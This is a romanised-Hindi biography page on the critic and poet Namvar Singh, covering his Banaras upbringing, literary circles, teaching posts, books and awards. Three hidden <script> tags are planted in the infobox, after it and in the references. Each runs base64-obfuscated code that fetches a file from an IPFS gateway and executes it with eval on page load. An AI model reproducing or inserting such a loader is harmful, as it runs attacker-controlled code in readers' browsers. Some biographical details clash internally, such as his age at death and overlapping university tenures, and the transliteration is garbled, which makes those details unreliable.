नामवर सिंह
namavar sianh
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| poora nam | d aau. namavar sianh |
| janm | 1 mee, 1927 |
| janm bhoomi | varanasi, uttar pradesh |
| mrityu | nidhan: 19 pharavari 2019 |
| mrityu sthan | nayi dilli |
| mukhy rachanaean | adhunik sahity ki pravrittiyaan, chhayavad, itihas aur alochana, kavita ke ne pratiman adi |
| bhasha | hindi |
| shiksha | em.e., pi.ech.di. (hindi) |
| puraskar-upadhi | sahity akadami puraskar (1971), shalaka samman” (1991) evan “sahity bhooshan samman" (1993) |
| nagarikata | bharatiy |
| adyatan | 16:38, 9 sitambar 2012 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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| inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
namavar sianh (aangrezi: Namvar Singh, janm: 1 mee, 1927, nidhan: 19 pharavari, 2019, nayi dilli) hindi ke prasiddh kavi aur pramukh samakalin alochak haian.
jivan parichay
namavar sianh ka janm 1 mee, 1927 ko varanasi zile ke jiyanapur namak gaanv mean hua. kashi hiandoo vishvavidyalay se unhoanne hindi mean em.e. aur pi.ech di. ki upadhi li. 82 varsh ki umr poorn kar chuke namavar ji vigat 65 se bhi adhik varsho se sahity ke kshetr mean haian. pichhale 30-35 varshoan se ve bharat ke vibhinn kshetroan mean jakar vyakhyan bhi de rahe haian. jab ve gaanv mean the to brajabhasha mean prayah shrriangarik kavitaean likha karate the. ab unhoanne kh di boli hiandi mean likhana shuroo kiya.
banaras nivasi
namavar sianh banaras ke eeshvar gangi muhalle mean rahate the. 1940 ee. mean unhoanne 'navayuvak sahityik sangh', namak evan sahityik sanstha apane sahayogi parasanath mishr sevak ke sath nirmit ki thi, jisamean har saptah ek sahityik goshthi hoti thi. 1944 ee. se namavar bhi isaki gangi muhalle mean shamil hote the. thakur prasad sianh ne eeshvar gangi muhalle mean 'bharatendu vidyalay' evan 'eeshvar gangi pustakalay' ki sthapana ki thi. 1947 ee.mean unaki niyukti baladev iantar k aaulej, bada़gaanv mean ho gee. navayuvak sahity sangh ki zimmedari unhoanne namavar aur sevak ji ko de di. isaki goshthiyaan takur prasad sianh ke bagair bhi barasoan chalati rahi. bad mean isaka nam sirph 'sahityik sangh' ho gaya. isaki goshtiyoan mean banaras ke tatkalin prayah sabhi sahityakar upasthit hote the. namavar ke sath trilochan evan sahi ki isamean niyamit upasthiti hoti thi. namavar ki kavy-pratibha ke nirman mean is sanstha ka bhi apratim yogadan hai.
pahali kavita
namavar sianh ke skool ke chhatr –sangh se ek masik patrika nikalati thi- 'kshatriy mitr'. sarasvati prasad sianh usake sanpadak the. age chalakar shambhoonath sianh usake sanpadak hue. kuchh samay tak trilochan ne bhi usaka sanpadan kiya tha. kavi namavar ki kavitaane usamean chhapane lagi. pahali kavita 'divali' shirshak se chhapi. doosari kavita thi-'suman ro mat, chhe d gana': trilochan ne padhane ki or, khasakar adhunik sahity, unhean prerit kiya. unaki hi prerana se unhoanne pahali bar do pustakean kharidi. pahali nirala ki 'anamika',evan doosari ilachandr joshi drara anoodit gorki ki 'avara ki dayari'. banaras mean sarasauli bhavan mean sagar sianh namak ek sahityik vyakti rahate the. unake ghar par 'pragatishil lekhak sangh' ki ek goshthi huee thi, jisamean trilochan kavi namavar ko bhi le ge the yahian pahali bar shivadan sianh chauhan aur shamasher bahadur sianh se parichay ha. yah banaras ki pahali goshthi thi jisamean unhoanne kavita-path kiya.
banaras mean mile sahity ke sanskar
kaha jata hai ki banaras apane ap mean ek adbhut shahar hai- tarah-tarah ke mandir, ganga ke anek ghat, pande, purohit aur pakhandi, patali-patali galiyaan aur sanatan kal se apane paandity, shastriyata ke lie prasiddh log! banaras ke vishay mean namavar sianh kahate haian ki kashi pande-purohit aur dharmik logoan ki hai, kiantu usamean kabir aur tulasidas ki bhi upasthiti hai. usi kashi mean premachand, jayashankar prasad hue, isalie hamean kabhi bhoolana nahian chahie ki kashi keval ek puratanapanthi shahar hi nahian hai, balki usake virodhi l dane vale vicharak bhi hue. usi kashi mean saranath bhi hai aur vishvanath bhi hai. kashi mean kvians k aaulej hai, jo kabhi aangreziyat ka gadh tha aur gavarnameant sanskrit k aaulej hua karata tha, jisamean sanskrit ke b de-b de vidvanh hua karate the, jise aangrezoan ne banaya tha aur vahian madanamohan malaviy ne kashi hiandoo vishvavidyalay sthapit kiya. vahian baboo shivaprasad gupt aur adaraniy narendr dev ne kashi vidyapith sthapit kiya. us kashi mean aya to ek or nagari pracharini sabha aur doosari or pragatishil lekhak sangh tha. usi kashi mean premachand ka ‘hans’ nikalata tha, jo tab pragatishil lekhak sangh ka mukh patr tha. us kashi mean jahaan ek or bharat dharm mandal tha, vahaan kamyunist parti ka daphtar bhi tha. vahian kaangres ka daphtar tha, vahian kaangres soshalist parti ka bhi daphtar tha. to kashi ke kee roop haian.
vyaktitv
namavar ke vyaktitv ke vikas mean kashi ki paranpara aur parivesh ki aham bhoomika hai. kashi unake sanskar mean racha-basa hai. lekin unake nirman mean avajapur ki sahityik mandali ke bad banaras ke hivet kshatriy skool ke parivesh ki mahatvapoorn bhoomika thi, jahaan ek se ek tape-tapae shikshak the. us skool ke prachary pahale aangrez hua karate the, pahale bharatiy prachary jagadish prasad sianh the, jinhean log je.pi. sianh kaha karate the. ve seant jons k aaulej, agara ke padhe the aur aangrezi padhate the. us samay banaras mean logoan ki yah dharana thi ki banaras hindoo vishvavidyalay ke kulapati radhakrishnan sabase achchhi aangreji bolate haian aur doosare je.pi. sianh. unaka aangrezi kavita padhane ka prabhavashali dhang tha. namavar kahate haian- ‘ve kavita bahut achchhi tarah padhate the. ‘goldan trejari’ padhaee thi. ve is kadar padhate the ki kavita yad to ho hi jati thi, yah bhi ki kavita ko kis tarah padhana chahie. risait kaise karana chahie, eprishiet kaise karana chahie. samajhana kaise chahie.'
kh di boli ka savaiya
‘tan ke sota raha jal chadar, vayu-sa khianch jaga gaya koee.’ maian jab use padhata tha to ve sath-sath use gate the. b de sahriday the. sangit ke marmajn the. gate achchha the klasikal. to ek unaki chhap p di. unaki yadadasht adbhut thi. jisaka nam vo ek bar sun lete the, yad rahata tha. skool ke hajar-barah sau vidyarthi aur sabake nam unhean yad the. kisi ko dekh lete to nam se bulate. ek bar ki ghatana hai. kuchh vidyarthi chhipakar sinema dekhane ge the aur der se laute the. chhah baje sham ke bad ae. sardiyoan ke din the. dhuandhalaka ho chuka tha. taange par se utarakar jaise hi aandar ghuse ki priansipal sahab chh di uthakar samane the. toka. barahoan vidyarthiyoan ko kh da kar diya. ne l dake the. sabaka nam poochha aur sabako jane diya. agale din jis kram se ve kh de the, usi kram se notis unako pahuanch gaya aur unhean usi kram se priansipal room mean bulaya gaya. to adbhut smaranashakti thi. avaz gooanjati thi.’ hivet kshatriy skool, iantar mean uday pratap k aaulej ke nam se jana jata tha. pahale vahaan iantar tak ki padhaee hoti thi. ab to vah pi.ji. k aaulej ho gaya hai. namavar sianh ne 1941 se 1947 tak vahaan padhaee ki. je.pi. sianh ke karan skool mean k da anushasan tha. ek se ek shikshak the. subah pi.ti. se lekar sham tak ke har ghante ka hisab tha. padhane ka, khelane ka nirdharit samay tha. saptahik saanskritik-sahityik karyakram hote the.
banaras mean nirala ka abhinandan
1947 ee. mean unhoanne barahavian ki pariksha pas ki. isi varsh banaras mean nirala ka abhinandan kiya gaya tha. samaroh ka ayojan nandadulare vajapeyi ne kiya tha. is ayojan mean kee yuva kaviyoan ne kavy-path kiya tha. nirala ke hathoan namavar sianh ko sau rupe ka puraskar bhi mila tha. is avasar par nirala ne apani prasiddh kavita ‘ram ki shaktipooja’ ka path bhi kiya tha. isi varsh ilahabad mean pragatishil lekhak sangh ka sammelan bhi hua tha, jisamean pahali bar rahul saankrityayan se bheant huee. unhoanne samaroh ki adhyakshata ki thi. ajney, sajjad jahir, nemichandr jain, prabhakar machave adi ne isamean bhag liya tha. yashapal ne ‘shekhar : ek jivani’ ki k di alochana karate hue ek lekh padha tha.
banaras hindoo vishvavidyalay mean pravesh
namavar sianh ne banaras hindoo vishvavidyalay mean bi.e. mean pravesh kiya to rahane ke lie vishvavidyalay ke pas hi sankatamochan ke ilake mean sthit ek chhatravas mean a ge. trilochan ji tab lanka mohalle ke akanoo bhavan mean rahate the. pray: roj subah ganga-snan trilochan ke sath hota. ve is kram mean batate haian- akshar-snan ke sath-sath ganga-snan bhi roj hi hota tha. 1947 se 1951 tak roj ganga-snan karata tha. yah kram barasat mean bhi chalata tha. balki barasat mean jo chikani mitti ghuli rahati, badan par kuchh malana nahian p data. unako laharoan se ho d karane mean anand ata tha. ganga ki chikani mitti se badhiya sabun aj tak nahian bana. ham paidal bhi khoob chalate the. ikke-gho de par chalana ayyashi-si lagati. tairane aur chalane mean trilochan ji ka sath rahata. ek bar ki bat hai. trilochan ne namavar se kaha- maianne to banaras ki badh aee ganga tairakar par ki hai, chalo, phir par karate haian. ve donoan tairane lage. tho di door jane ke bad trilochan ne kaha- chho do, laut chalo. par namavar age badh ge. adhi nadi par karane ke bad baanhean bhari aur thaki huee lagane lagian. age badhane ki himmat javab dene lagi. us samay lagane laga ki bachapan mean to doobane se bach gaya tha, lekin aj to doob hi jaooanga. koee bachane vala bhi nahian tha. door-door tak koee nav bhi nahian dikhaee de rahi thi. lekin phir himmat jutaee aur keval apane ko bachaya hi nahian, ganga bhi par ki. shayad yah isalie kar sake ki tairane ka lagatar abhyas tha.
yogadan
banaras mean namavar ki abhinnata thakur prasad sianh se thi. ve vyaktitv ke taral aur saral adami the. ve banaras ke eeshvaragangi muhalle mean rahate the. 1940 ee. mean unhoanne ‘navayuvak sahityik sangh’ namak evan sahityik sanstha apane sahayogi parasanath mishr ‘sevak’ ke sath nirmit ki thi, jisamean har saptah ek sahityik goshthi hoti thi. 1944 ee. se namavar bhi isaki goshthiyoan mean shamil hote the. thakur prasad sianh ne eeshvaragangi muhalle mean bharatendu vidyalay evan ‘eeshvaragangi pustakalay’ ki sthapana ki thi. 1947 ee. mean unaki niyukti baladev iantar k aaulej, b dagaanv mean ho gee. ‘navayuvak sahity sangh’ ki jimmevari unhoanne namavar aur sevak ji ko de di. isaki goshthiyaan thakur prasad sianh ke bagair bhi barasoan chalati rahian. bad mean isaka nam sirph sahityik sangh ho gaya. isaki goshthiyoan mean banaras ke tatkalin pray: sabhi sahityakar upasthit hote the. namavar ke sath trilochan evan vijayadev narayan sahi ki isamean niyamit upasthiti hoti thi. namavar ki kavy-pratibha ke nirman mean is sanstha ka bhi apratim yogadan hai.[1]
karyakshetr
adhyapan
namavar sianh ne adhyapan kary ka arambh kashi hindoo vishvavidyalay (1953-1959) kiya aur phir 'jodhapur vishvavidyalay' mean hindi vibhag ke prophesar aur adhyaksh (1970-74), 'agara vishvavidyalay' ke k.mu. hindi vidyapith ke prophesar nideshak (1974), javaharalal neharoo vishvavidyalay, dilli mean 'bharatiy bhasha kendr' ke sansthapak adhyaksh tatha hindi prophesar (1965-92) aur ab usi vishvavidyalay mean prophesar imerits haian. namavar sianh mahatma gaandhi aantarrashtriy hindi vishvavidyalay ke kuladhipati bhi rahe.
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kritiyaan
- 1996 bakalam khud
- hindi ke vikas mean apabhransh ka yog
- prithviraj raso ki bhasha,
- adhunik sahity ki pravrittiyaan,
- chhayavad, itihas aur alochana .
nidhan
hiandi ke jane mane sahityakar namavar sianh ka 19 pharavari 2019 ki ratri mean nayi dilli sthit ems mean nidhan ho gaya. vah 93 sal ke the. vah kaphi samay se bimar chal rahe the aur akhil bharatiy ayurvijnan sansthan (ems) mean bharti the.
samman aur puraskar
- sahity akadami puraskar (1971)
- hindi akadami, dilli ka “shalaka samman” (1991)
- uttar pradesh hindi sansthan ka “sahity bhooshan samman" (1993)
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tika tippani aur sandarbh
- ↑ banaras mean mile sahity ke sanskar (hindi) hindustan laiv. abhigaman tithi: 31 janavari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh